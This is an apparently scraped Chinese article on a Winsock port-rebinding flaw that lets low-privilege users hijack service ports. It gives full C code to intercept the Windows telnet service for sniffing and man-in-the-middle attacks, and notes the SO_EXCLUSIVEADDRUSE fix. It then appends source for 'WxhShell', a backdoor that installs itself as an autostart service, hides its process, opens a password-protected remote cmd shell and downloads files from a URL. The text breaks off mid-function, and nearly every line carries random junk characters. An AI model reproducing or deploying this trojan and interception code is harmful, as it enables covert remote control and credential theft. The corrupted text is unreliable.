在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/0XMQy s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
n@p@@ E6 -*2U)k+ saddr.sin_family = AF_INET;
M
lR~`B}m /z*Z+OT2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
O.( 2 * /n8T]s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_<F)G,= 4A!]kj5T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
V)>?[ X&?s:A 这意味着什么?意味着可以进行如下的攻击:
n%7?G=_kj u6ULk<<\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
()?83Xj[c LsuOmB| ^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(jDz[b#OPz fyb;*hgu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`IUn{I UE.kR+1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
daI_@k Y" Z%qtAPd 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3>aEP5 2.Qz"YDh
= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?zf3Fn2y zR^Gy" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
i9DD)Y< M>]A!W= #include
\MOwp@|y #include
sE6>JaH #include
*c94'T cl #include
Lr$Mk#'B DWORD WINAPI ClientThread(LPVOID lpParam);
{4G/HW28 int main()
c
Rq2 re {
`Zm6e!dH- WORD wVersionRequested;
1^}I?PbqV DWORD ret;
Ec@n<KK# WSADATA wsaData;
2+
cs^M3 BOOL val;
Szgo@x$^ SOCKADDR_IN saddr;
wwB3m& SOCKADDR_IN scaddr;
Lz'VQO1U= int err;
*7jz(iX SOCKET s;
0B]q /G( SOCKET sc;
rTIu' int caddsize;
6(f'P_* HANDLE mt;
Yg^ &4ZF DWORD tid;
Y#ZgrziYM wVersionRequested = MAKEWORD( 2, 2 );
[7FG;}lB- err = WSAStartup( wVersionRequested, &wsaData );
\:WWrY8& if ( err != 0 ) {
qJrT printf("error!WSAStartup failed!\n");
c>B1cR
return -1;
R}M
;, G }
IT_I.5*A2 saddr.sin_family = AF_INET;
:eVZ5?F =Xh)34q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@i1e0;\ &Vz$0{d5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"%gsGtS saddr.sin_port = htons(23);
eyCZ[SC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h^yqrDyJ {
`GCoi ?n7 printf("error!socket failed!\n");
"tzu.V- return -1;
9Rnypzds }
N7+L@CC6T val = TRUE;
6QX m]<
//SO_REUSEADDR选项就是可以实现端口重绑定的
`OBzOM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
kt/,& oKI {
s{Z)<n03 printf("error!setsockopt failed!\n");
MY^{[#Q return -1;
F~mIV;BP }
J,2V&WuV0r //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
D0r viO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
147QB+cE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
R-13DVK f<Hi=Qpm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
lir=0oq< {
T }}2J/sj ret=GetLastError();
'+PKGmRW printf("error!bind failed!\n");
`<C<[JP:o return -1;
9{toPED }
M6)
G_- listen(s,2);
lM6pYYEq= while(1)
Gmz^vpQ]t {
0@
Y#P|QF caddsize = sizeof(scaddr);
AG N/kx //接受连接请求
to'7o8Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+3)r
szb72 if(sc!=INVALID_SOCKET)
'r?ULft1 {
~zqb{o^pT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/,Xl8<~# if(mt==NULL)
Hc)z:x;Sj {
{{?g%mQ6 printf("Thread Creat Failed!\n");
Xu] ~vik break;
HC%Hbc~S_Q }
$.SBW=^V }
\#{PV\x:Nn CloseHandle(mt);
#).$o~1ht! }
fjh|V9H closesocket(s);
C$OVN$lL`8 WSACleanup();
pH1!6X return 0;
D0D=;k }
BzzC| DWORD WINAPI ClientThread(LPVOID lpParam)
513,k$7 {
4Z"}W!A SOCKET ss = (SOCKET)lpParam;
m@td[^O- SOCKET sc;
EhcJE;S) unsigned char buf[4096];
`\kihNkJn3 SOCKADDR_IN saddr;
a5D|#9 long num;
] G&*HMtp DWORD val;
%71i&T F DWORD ret;
\i%'M% //如果是隐藏端口应用的话,可以在此处加一些判断
N~v6K}`} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wVBKVb9N saddr.sin_family = AF_INET;
i(}PrA
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
d1<";b2Jt^ saddr.sin_port = htons(23);
-50DGA,K6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;CYoc4e {
<^5!]8*O printf("error!socket failed!\n");
2{-29bq return -1;
bdg6B7%Q }
/( Wq val = 100;
zBF~:Uc`B if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mci> MEb {
uU H4vUa ret = GetLastError();
`JySuP2~/ return -1;
XB)D".\ }
$|N6I if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{213/@, {
T
ozx0??) ret = GetLastError();
(bsx|8[ return -1;
U"PcNQy }
(2g
a:}K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)4yP(6|lx {
8dGsV5" * printf("error!socket connect failed!\n");
X0/slOT closesocket(sc);
NJUKH1lIhR closesocket(ss);
GWA"!~Hu return -1;
^q:-ZgM> }
b}[S+G-9W while(1)
Y6` xb` {
1EyN
|m| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4&iQo' //如果是嗅探内容的话,可以再此处进行内容分析和记录
m2(>KMbi //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S,#1^S num = recv(ss,buf,4096,0);
.ZTvOm'mB^ if(num>0)
=)a24PDG send(sc,buf,num,0);
cS ~OxAS else if(num==0)
]I?.1X5d0 break;
uO%0rKW num = recv(sc,buf,4096,0);
2|nm> 4 if(num>0)
:gVUk\) send(ss,buf,num,0);
Vao:9~ else if(num==0)
"-~7lY% break;
d)o5JD/ }
kwI``7g8*e closesocket(ss);
`|dyT6V0I_ closesocket(sc);
L)e"qC_- return 0 ;
H QqFrR
}
HI.*xkBXl& 66yw[,Y -ss= c # ==========================================================
AZj&;!} C/kf?:j 下边附上一个代码,,WXhSHELL
3BFOZV+ 9/ <3mF@E ==========================================================
h0{X$&: "#Rh\DQ #include "stdafx.h"
O0 'iq^g &V].,12x #include <stdio.h>
yW_yHSx; #include <string.h>
I2Xd"RHN #include <windows.h>
@\K[WqF$$q #include <winsock2.h>
vsY?q8+P #include <winsvc.h>
#}`sfaT #include <urlmon.h>
~6G
`k^!
R~vGaxZ$ #pragma comment (lib, "Ws2_32.lib")
d$t"Vp #pragma comment (lib, "urlmon.lib")
Q:}]-lJg 2HX/@ERhmu #define MAX_USER 100 // 最大客户端连接数
0SQ!lr #define BUF_SOCK 200 // sock buffer
j*{0<hZb} #define KEY_BUFF 255 // 输入 buffer
!~ox;I}S >3 o4 U2 #define REBOOT 0 // 重启
6(n0{A #define SHUTDOWN 1 // 关机
djd/QAfSC )U/jD #define DEF_PORT 5000 // 监听端口
w"hd_8cO BU`X_Z1) #define REG_LEN 16 // 注册表键长度
-f+#j=FX #define SVC_LEN 80 // NT服务名长度
JcAsrtrG] S
'a- E![ // 从dll定义API
kDmm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
R9XU 7_3B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>F/^y O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
YQMWhC,8hy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
^Q/*on;A,/ (3Db}Hnn // wxhshell配置信息
I2[U #4n struct WSCFG {
(s};MdXIz int ws_port; // 监听端口
I"Oq< _ char ws_passstr[REG_LEN]; // 口令
oPe|Gfv\G int ws_autoins; // 安装标记, 1=yes 0=no
x#1Fi$. char ws_regname[REG_LEN]; // 注册表键名
c~ss^[qx| char ws_svcname[REG_LEN]; // 服务名
i]8O?Ab>? char ws_svcdisp[SVC_LEN]; // 服务显示名
zakhJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
2W AeSUX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?qh-#,O9B int ws_downexe; // 下载执行标记, 1=yes 0=no
"{q#)N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#{i*9' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
waMF~#PJlt WAu>p3
};
NxP(&M( Kz HYh // default Wxhshell configuration
lC<;Q*Y struct WSCFG wscfg={DEF_PORT,
'zyw-1 "xuhuanlingzhe",
}(EH5jZ' 1,
e3I""D{)[= "Wxhshell",
/jv/qk3i "Wxhshell",
zsL@0]e& "WxhShell Service",
D|uvgu2 "Wrsky Windows CmdShell Service",
rXx#<7` "Please Input Your Password: ",
,\4]uZ< 1,
c_8&4 "
http://www.wrsky.com/wxhshell.exe",
ZW4f " "Wxhshell.exe"
8^7Oc,:~ };
K_i|cYGV a5*r1, // 消息定义模块
ImXYI7PL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
4fLRl-) char *msg_ws_prompt="\n\r? for help\n\r#>";
\xYVnjG, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4Aj~mA char *msg_ws_ext="\n\rExit.";
SNj-h>&Mha char *msg_ws_end="\n\rQuit.";
lF}[ YL char *msg_ws_boot="\n\rReboot...";
nY'V,v[F char *msg_ws_poff="\n\rShutdown...";
VfU"%0x char *msg_ws_down="\n\rSave to ";
rN0<y4)! sJ6.3=
c char *msg_ws_err="\n\rErr!";
F8pA)!AH char *msg_ws_ok="\n\rOK!";
1lw%RM t"=5MaQk- char ExeFile[MAX_PATH];
{>>X3I int nUser = 0;
3?Pg
;
HANDLE handles[MAX_USER];
mjeJoMvN)H int OsIsNt;
`Ba]i) ! #g{R+#fm SERVICE_STATUS serviceStatus;
-FZC|[is SERVICE_STATUS_HANDLE hServiceStatusHandle;
fi?4!h DbGS]k<$ // 函数声明
GJ9>i)+h; int Install(void);
yD+4YD int Uninstall(void);
C`5'5/-. int DownloadFile(char *sURL, SOCKET wsh);
.NOAp int Boot(int flag);
HTQZIm void HideProc(void);
L(y70T int GetOsVer(void);
l=?e0d>O int Wxhshell(SOCKET wsl);
(< +A w7 void TalkWithClient(void *cs);
u\\t~<8 int CmdShell(SOCKET sock);
Hw \of int StartFromService(void);
$/wm k7T int StartWxhshell(LPSTR lpCmdLine);
WZQ2Mi<&1' c'oiW)8;A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$ XjijD9R VOID WINAPI NTServiceHandler( DWORD fdwControl );
:ld~9 { 'b;lA]0 // 数据结构和表定义
UtQj<18< SERVICE_TABLE_ENTRY DispatchTable[] =
<)7aNW. {
b\P:a_vq {wscfg.ws_svcname, NTServiceMain},
q
G%Y & P {NULL, NULL}
)Q 2IYCj{ };
U5Hi9fe ]]j^ // 自我安装
OBi(]l}^O int Install(void)
YR?Y:?( {
z; GQnAG@ char svExeFile[MAX_PATH];
g=Z52y`N< HKEY key;
25>R^2,LiE strcpy(svExeFile,ExeFile);
!se1W5ke# {4J. // 如果是win9x系统,修改注册表设为自启动
U1 _"D+XB if(!OsIsNt) {
VbX P7bZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]Lv3XMa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)eZK/>L& RegCloseKey(key);
ocGrB)7eD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$d<NN2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>@vu;j\*E5 RegCloseKey(key);
b-u@?G|< return 0;
9nFL70 }
Sn nfU }
_3Eo{^ }
u)@:V)z else {
$qD\ku;' m23"xnRB // 如果是NT以上系统,安装为系统服务
63l3WvoK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NLy4Z:&{ if (schSCManager!=0)
X4%uY {
t^01@ejM+ SC_HANDLE schService = CreateService
3](hMk,} (
"OLg2O^ schSCManager,
?+zFa2J wscfg.ws_svcname,
v>8.TE~2 wscfg.ws_svcdisp,
{4g'; SERVICE_ALL_ACCESS,
3x~7N SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Wga2).j6 SERVICE_AUTO_START,
x,gk]C f SERVICE_ERROR_NORMAL,
_dKMBcl)E svExeFile,
?%,LZw^[ NULL,
T5:Q_o] NULL,
|Y3w6 !$ NULL,
|=0vgwd"S NULL,
9pLe8D NULL
yCQvo(V[F );
OAXA< if (schService!=0)
IxbQ6 {
7_\G|Zd CloseServiceHandle(schService);
!v8R( CloseServiceHandle(schSCManager);
Q.N!b7r7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
4R'CLN
|t strcat(svExeFile,wscfg.ws_svcname);
Ul8HWk[6Iw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
m.lR]!Y=w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
oJa}NH
RegCloseKey(key);
2 7)IfE return 0;
505c(+ }
a2P)@R }
NjIPHM$g CloseServiceHandle(schSCManager);
=Kj{wA
O }
B $u/n }
_=HaE&
71{Q#%5U~ return 1;
~Dt$}l-9 }
%9cT#9!7 SH)-(+72d // 自我卸载
m7^f%<l int Uninstall(void)
,5W7a {
8?Rp2n*o HKEY key;
v]EMJm6d| 7Fj8Mp| if(!OsIsNt) {
C3'xU` =7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oJA_"xp RegDeleteValue(key,wscfg.ws_regname);
d*8*9CpO: RegCloseKey(key);
iq' PeVo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z@s[8wrmPl RegDeleteValue(key,wscfg.ws_regname);
vn}m-U XA* RegCloseKey(key);
Va )W[I return 0;
%`i*SF(gV }
3dN`Q:1R9 }
p7QZn.,=u }
t=B1yvE" else {
|%|03}Q .57p4{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,zgz7 if (schSCManager!=0)
,sitO y}ks {
+zh\W9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
UVux[qX< if (schService!=0)
4EM+ Ye {
xt}.0dC!/% if(DeleteService(schService)!=0) {
Gwk$<6E CloseServiceHandle(schService);
,8r?C !m] CloseServiceHandle(schSCManager);
,IB\1# return 0;
DQGrXMpV0 }
FO*Gc
Z CloseServiceHandle(schService);
u\ _yjv# }
e|oMbTZ5m CloseServiceHandle(schSCManager);
{D[6=\F }
)#i@DHt= }
>ZJ]yhbhK cF
5|Pf return 1;
xf&[QG+Ef }
254V)(t^QM 4x6n,:; // 从指定url下载文件
*QQeK#$s int DownloadFile(char *sURL, SOCKET wsh)
/0}Z>iK {
x=cucZ HRESULT hr;
i D 9 */ char seps[]= "/";
]In7%Qb char *token;
[mzed{p]] char *file;
KO" / char myURL[MAX_PATH];
^=eC1bQA char myFILE[MAX_PATH];
y"yo\IDW D% j GK strcpy(myURL,sURL);
G4'Ia$ token=strtok(myURL,seps);
pa46,q&M while(token!=NULL)
(tYZq86` {
Z3JUYEAS file=token;
JuSS(dJw token=strtok(NULL,seps);
J$}]p }
<8}FsRr;J eN<L)a:J_ GetCurrentDirectory(MAX_PATH,myFILE);
HQ@g6 strcat(myFILE, "\\");
4Kch=jt4# strcat(myFILE, file);
[2-n*a(q send(wsh,myFILE,strlen(myFILE),0);
Oa/zEH send(wsh,"...",3,0);
P<IDb%W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Bf*>q*%B{ if(hr==S_OK)
l WYp return 0;
Fq~uuQ else
v \i"-KH return 1;
eyKxnBz X.>=&~[ }
X7!q/1$J HThZ4Kg+ // 系统电源模块
p{5m5x int Boot(int flag)
t8-P'3,Q$ {
S46aUkW. HANDLE hToken;
O[VY|.MEk TOKEN_PRIVILEGES tkp;
0Agse) <yipy[D if(OsIsNt) {
F
,472H OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>OaD7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d@ K-ZMq tkp.PrivilegeCount = 1;
O2 >c|=# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}@q/.Ct! x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
o6vnl if(flag==REBOOT) {
opa}z-7>^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
MS\vrq'_ return 0;
?=9'?K/~a }
4`i8m else {
41<~_+-@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
n725hY6}<l return 0;
+vy fhw4 }
FGi7KV=N }
U5kKT.M else {
['o ueOg if(flag==REBOOT) {
{3x>kRaKci if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
l
L;5*@
return 0;
Nbr$G=U }
4fsd5# else {
o,WjM[e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
9" q-Bb return 0;
hY.i`sp*/ }
3q'AgiW }
Ysu\CZGX '$OUe {j< return 1;
^OiL&p;r }
e%[*NX/ $Wj= V // win9x进程隐藏模块
}T4|Kyu? void HideProc(void)
}PJsPIa3j {
l\W|a'i RKP,w% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
jae9!Wi if ( hKernel != NULL )
?C[?dg{n {
E4 eXfu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
14 & KE3` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^i%S}VK FreeLibrary(hKernel);
GS>[A b+ }
d#v@NuO6
h CIIjZ)T return;
h&i*=&<HP6 }
yIL=jzm`7 cuN ]}=D // 获取操作系统版本
tQ{/9bN?P int GetOsVer(void)
;+wB!/k, {
nmU1xv_ OSVERSIONINFO winfo;
'|4+<# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{[2o GetVersionEx(&winfo);
WrGA7&!+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Qel)%|dOn return 1;
i"G'#n~e else
cR3d&/_,U return 0;
o^/
#i`) }
BI:Cm/ > ,Iyc0 // 客户端句柄模块
uHI(-!O int Wxhshell(SOCKET wsl)
-!XG>Z {
]B3](TH" SOCKET wsh;
#r9+thyC struct sockaddr_in client;
<(KCiM=E$ DWORD myID;
w!"L\QT vntJe^IaFd while(nUser<MAX_USER)
AU\=n,K7 {
*Y(59J2 int nSize=sizeof(client);
Y ]([K.I= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1w=.vj<d8 if(wsh==INVALID_SOCKET) return 1;
NVb}uH*i Y2DL%'K^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
tA#$q;S if(handles[nUser]==0)
57q= closesocket(wsh);
M )ET1ZM else
,4H? + |! nUser++;
WhW}ZS'r }
bJ_rU35s> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
aLh(8 ;$ sYS
8]JU return 0;
#p(c{L! }
t,9+G<)>H 2V@5:tf // 关闭 socket
*5PQ>d
G void CloseIt(SOCKET wsh)
naaKAZ!S {
%k#+nad closesocket(wsh);
b23A&1X nUser--;
n 0=]C%wr ExitThread(0);
&|XgWZS5 }
yF)J7a:U zjUQ] // 客户端请求句柄
Gt&yz"?D void TalkWithClient(void *cs)
%"f85VfZ {
9Q1%+zjjMq sg,\!' SOCKET wsh=(SOCKET)cs;
^^v3iCT char pwd[SVC_LEN];
J,Ki2'= char cmd[KEY_BUFF];
50MM05aC char chr[1];
:=hL}(~] int i,j;
!kSemDC ]S%_&ZMCM while (nUser < MAX_USER) {
FXr^ 4B} ^(TCUY~f& if(wscfg.ws_passstr) {
J920A^)j! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wG)e8,# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
a
Y)vi$;] //ZeroMemory(pwd,KEY_BUFF);
%d+Fq=< i=0;
c
\??kQH while(i<SVC_LEN) {
yc*cT%?g 9CS"s_ // 设置超时
'f{13-#X@ fd_set FdRead;
q(qm3OxYo struct timeval TimeOut;
c= t4 gf FD_ZERO(&FdRead);
c6F?#@? FD_SET(wsh,&FdRead);
=u2~=t=LV TimeOut.tv_sec=8;
|>(Vo@ TimeOut.tv_usec=0;
9\Gk)0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
eI
( S)q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2-'_Nwkl* >IS4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fR[8O\U~ pwd
=chr[0]; J~KO#`
if(chr[0]==0xd || chr[0]==0xa) { c$1u
pwd=0; JAHg_!
break; U1:m=!S;x
} WuE]pm]c
i++; &n| <NF
} |y7TYjg6
yr},pB
// 如果是非法用户,关闭 socket p^Ey6,!8]D
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m u9,vH
} fL|9/sojz
yr+QV:oVA
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zmQQ/7K
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8(n>99VVK
'ij+MU1
while(1) { ,IhQ %)l
cy@oAoBq
ZeroMemory(cmd,KEY_BUFF); )$p36dWl
bDDP:INm.
// 自动支持客户端 telnet标准 Vb?wwx7=
j=0; K_+M?ap_
while(j<KEY_BUFF) { w(bvs&`{uC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P>q~ocq<
cmd[j]=chr[0]; _8$xsj4_
if(chr[0]==0xa || chr[0]==0xd) { (A2ga):Pk
cmd[j]=0; jk`U7G*
break; IsT}T}p,t
} Uhvy2}w
j++; y3(~8n
} 9=}#.W3.
)Jvo%Y
// 下载文件 IgJG,!>h
if(strstr(cmd,"http://")) { |d&Kr0QIV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c*#$sZ@YA
if(DownloadFile(cmd,wsh)) JQ
?8yl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x(>XM:|
else jA^yUd-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J,v024TM
} b6;MTz*k>
else { ~Q"qz<WO
!]R>D{""
switch(cmd[0]) { B0RVtbK
&u9,|n]O9
// 帮助 ipu~T)}
case '?': { A
PSkW9H
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,&,XcbJ
break; 9/8+R%
} V9ZM4.,OCN
// 安装 6 [bQ'Ir^8
case 'i': { i=^6nwD&
if(Install()) _l)3pm6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L|{v kkBo
else -^_^ByJe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :
HU|BJ>
break; qCVb-f
} w:I!{iX
// 卸载 _$A?
case 'r': { iPCn-DoIS
if(Uninstall()) 'xuxMav6m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,V!Wo4M
else F +5
5p8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , MqoX-+
break; rLeQBp'
} ;|\j][A
// 显示 wxhshell 所在路径 nIOSP:'>
case 'p': { ~W"@[*6w
char svExeFile[MAX_PATH]; `<@ "WSn
strcpy(svExeFile,"\n\r"); L5:1dF
strcat(svExeFile,ExeFile); i%i s<'
send(wsh,svExeFile,strlen(svExeFile),0); v\(6uej^
break; +bso4 }rS
} q+qF;7dN@
// 重启 ) F -8
case 'b': { wtL=^
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uCt?(E>
if(Boot(REBOOT)) LCXWpUj~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qz)KCEs
else { "KCG']DF
closesocket(wsh); I=Y_EjZD
ExitThread(0); 7<:o4\q?m
} |U'` Sc
break; asQ^33g z
} modem6#x'
// 关机 ',Z]w;D!G
case 'd': { Z @DDuVr
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }] 1C=~lC
if(Boot(SHUTDOWN)) `)8SIx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |BtFT
else { 6%9 kc+
9
closesocket(wsh); ijcF[bmE
ExitThread(0); K{Nj-Rqd
} @G>eCj
break; B)d 4]]4\\
} 18j>x3tn
// 获取shell Z6So5r%wZ
case 's': { E>|fbaN-%
CmdShell(wsh); giIPK&
closesocket(wsh); wKpD++k
ExitThread(0); mq}uq9<
break; o=zl{tZV
} wqjR-$c
// 退出 r~|7paX!
case 'x': { 3k8nWT:wT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <h|&7
CloseIt(wsh); av'[k<
break; ^VnnYtCRz
} 71IM`eL=ED
// 离开 ^IvQdVB
case 'q': { ?hrz@k|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }YiFiGf,
closesocket(wsh); _9=cxwi<w
WSACleanup(); !u:;Ew
exit(1); '19?
break; Tqs|2at<t
} vwAhNw2-
} s[7/w[&
} (B*,|D[J@i
44k8IYC*o
// 提示信息 D2Q0p(#%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fo0s<YlS-
} SgN?[r)
} vXM{)
39pA:3iTd
return; Q7zpu/5?
} N3)n**
d|gfp:Z`a
// shell模块句柄 H4wDF:n0H
int CmdShell(SOCKET sock) ~XXNzz]?
{ JCB3 BZg7&
STARTUPINFO si; _$vbb#QXZG
ZeroMemory(&si,sizeof(si)); T'Jl,)"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =RM]/O9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IQ$ 6}.
PROCESS_INFORMATION ProcessInfo; wZ`*C
mr
char cmdline[]="cmd"; ]XX>h~0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {EVy.F
return 0; %n,_^voE
} DHvZ:)aT}
A&jR-%JG
// 自身启动模式 e?o/H
int StartFromService(void) fU.z_T[@
{ (_N(K`4#W
typedef struct U9\w)D|+eE
{ DdeKZ)8
DWORD ExitStatus; ]Ee$ulJ02
DWORD PebBaseAddress; 3/c%4b.Z
